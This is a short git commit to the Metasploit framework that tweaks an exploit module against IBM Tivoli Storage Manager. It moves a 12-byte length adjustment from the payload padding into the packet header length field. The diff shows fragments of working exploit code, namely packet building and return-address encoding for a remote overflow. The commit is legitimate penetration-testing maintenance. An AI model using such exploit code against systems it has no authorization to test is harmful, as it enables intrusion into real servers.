moved length adjustment

git-svn-id: file:///home/svn/framework3/trunk@7926 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-20 22:45:33 +00:00 · 2009-12-20 22:45:33 +00:00 · 4b883322f5
parent 3767b6be7a
commit 4b883322f5
1 changed files with 1 additions and 2 deletions
--- a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb
+++ b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb
@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote
 	def make_tsm_packet(op,data)
 		pkt = ""
 		if op > 0xff
-			pkt << [0,8,0xa5,op,data.length].pack('nCCNN')
+			pkt << [0,8,0xa5,op,0xc+data.length].pack('nCCNN')
 		else
 			pkt << [data.length,op,0xa5].pack('nCC')
 		end
@ -144,7 +144,6 @@ class Metasploit3 < Msf::Exploit::Remote
 		# we need this special encoding to make it work..
 		buf << [target.ret].pack('V').unpack('v*').pack('n*')
 		# adjustment :)
-		buf << rand_text(0x0c)
 		sploit << buf
 		data = make_tsm_packet(0x10400, sploit)